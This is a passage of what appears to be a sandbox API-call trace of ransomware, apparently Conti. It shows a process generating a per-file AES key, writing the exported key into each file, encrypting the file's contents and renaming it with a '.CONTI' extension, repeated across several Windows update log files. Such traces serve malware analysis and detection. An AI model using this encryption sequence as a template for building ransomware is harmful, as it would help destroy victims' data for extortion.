	[0128.878] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.878] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.878] SetEndOfFile (hFile=0x384) returned 1
	[0128.879] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.879] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.879] WriteFile (in: hFile=0x384, lpBuffer=0x6b4652c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4652c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0128.880] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.880] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x3000, lpOverlapped=0x0) returned 1
	[0128.881] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x3000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x3010) returned 1
	[0128.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.881] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x3010, lpOverlapped=0x0) returned 1
	[0128.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.881] WriteFile (in: hFile=0x384, lpBuffer=0x6b46520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b46520*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0128.881] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.881] CloseHandle (hObject=0x384) returned 1
	[0128.881] GetProcessHeap () returned 0x1720000
	[0128.881] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.881] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl"
	[0128.881] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.CONTI"
	[0128.881] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.021.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.021.etl.conti")) returned 1
	[0128.885] GetProcessHeap () returned 0x1720000
	[0128.885] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.885] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0128.885] GetProcessHeap () returned 0x1720000
	[0128.885] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9070 | out: hHeap=0x1720000) returned 1
	[0128.885] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0128.885] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x17c80b0) returned 1
	[0128.885] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4577c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0128.886] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.022.etl")) returned 0x2020
	[0128.888] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.022.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0128.888] GetLastError () returned 0x0
	[0128.888] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=8192) returned 1
	[0128.888] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.888] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.888] SetEndOfFile (hFile=0x384) returned 1
	[0128.889] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.889] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.889] WriteFile (in: hFile=0x384, lpBuffer=0x6b4577c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4577c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0128.890] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.890] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2000, lpOverlapped=0x0) returned 1
	[0128.891] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2010) returned 1
	[0128.891] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.891] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2010, lpOverlapped=0x0) returned 1
	[0128.891] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.891] WriteFile (in: hFile=0x384, lpBuffer=0x6b45770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b45770*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0128.891] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.891] CloseHandle (hObject=0x384) returned 1
	[0128.891] GetProcessHeap () returned 0x1720000
	[0128.891] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.891] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl"
	[0128.891] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.CONTI"
	[0128.891] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.022.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.022.etl.conti")) returned 1
	[0128.892] GetProcessHeap () returned 0x1720000
	[0128.892] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.892] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0128.892] GetProcessHeap () returned 0x1720000
	[0128.892] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9100 | out: hHeap=0x1720000) returned 1
	[0128.892] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0128.892] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x17c82b0) returned 1
	[0128.892] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x3e3fe8c | out: pbData=0x6b440ac*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0128.893] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.023.etl")) returned 0x2020
	[0128.893] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.023.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0128.893] GetLastError () returned 0x0
	[0128.893] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=12288) returned 1
	[0128.893] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.893] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.893] SetEndOfFile (hFile=0x384) returned 1
	[0128.894] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.894] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.894] WriteFile (in: hFile=0x384, lpBuffer=0x6b440ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b440ac*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0128.895] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.895] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x3000, lpOverlapped=0x0) returned 1
	[0128.895] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x3000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x3010) returned 1
	[0128.896] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.896] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x3010, lpOverlapped=0x0) returned 1
	[0128.896] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.896] WriteFile (in: hFile=0x384, lpBuffer=0x6b440a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b440a0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0128.896] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.896] CloseHandle (hObject=0x384) returned 1
	[0128.896] GetProcessHeap () returned 0x1720000
	[0128.896] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.896] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl"
	[0128.896] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.CONTI"
	[0128.896] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.023.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.023.etl.conti")) returned 1
	[0128.897] GetProcessHeap () returned 0x1720000
	[0128.897] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.897] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0128.897] GetProcessHeap () returned 0x1720000
	[0128.897] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9190 | out: hHeap=0x1720000) returned 1
	[0128.897] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0128.897] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x17c7ff0) returned 1
	[0128.897] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x3e3fe8c | out: pbData=0x6b449cc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0128.898] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.024.etl")) returned 0x2020
	[0128.898] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.024.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0128.899] GetLastError () returned 0x0
	[0128.899] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=4096) returned 1
	[0128.899] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0128.899] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.899] SetEndOfFile (hFile=0x384) returned 1
	[0128.899] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.899] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.899] WriteFile (in: hFile=0x384, lpBuffer=0x6b449cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b449cc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0128.900] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.900] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x1000, lpOverlapped=0x0) returned 1
	[0128.901] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1010) returned 1
	[0128.901] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.901] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x1010, lpOverlapped=0x0) returned 1
	[0128.901] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.901] WriteFile (in: hFile=0x384, lpBuffer=0x6b449c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b449c0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0128.901] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.901] CloseHandle (hObject=0x384) returned 1
	[0128.901] GetProcessHeap () returned 0x1720000
	[0128.901] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.901] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl"
	[0128.901] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.CONTI"
	[0128.901] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.024.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.024.etl.conti")) returned 1
	[0128.902] GetProcessHeap () returned 0x1720000
	[0128.902] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.902] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0128.902] GetProcessHeap () returned 0x1720000
	[0128.902] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9220 | out: hHeap=0x1720000) returned 1
	[0128.902] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0128.902] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c82f0) returned 1
	[0128.902] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x3e3fe8c | out: pbData=0x6b472dc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0128.903] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.025.etl")) returned 0x2020
	[0128.903] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.025.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0128.903] GetLastError () returned 0x0
	[0128.903] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=20480) returned 1
	[0128.903] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0128.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.904] SetEndOfFile (hFile=0x384) returned 1
	[0128.904] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.904] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.904] WriteFile (in: hFile=0x384, lpBuffer=0x6b472dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b472dc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0128.971] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.971] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x5000, lpOverlapped=0x0) returned 1
	[0129.111] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x5000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x5010) returned 1
	[0129.111] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.111] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x5010, lpOverlapped=0x0) returned 1
	[0129.111] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.111] WriteFile (in: hFile=0x384, lpBuffer=0x6b472d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b472d0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0129.111] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.111] CloseHandle (hObject=0x384) returned 1
	[0129.111] GetProcessHeap () returned 0x1720000
	[0129.111] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.111] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl"
	[0129.111] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.CONTI"
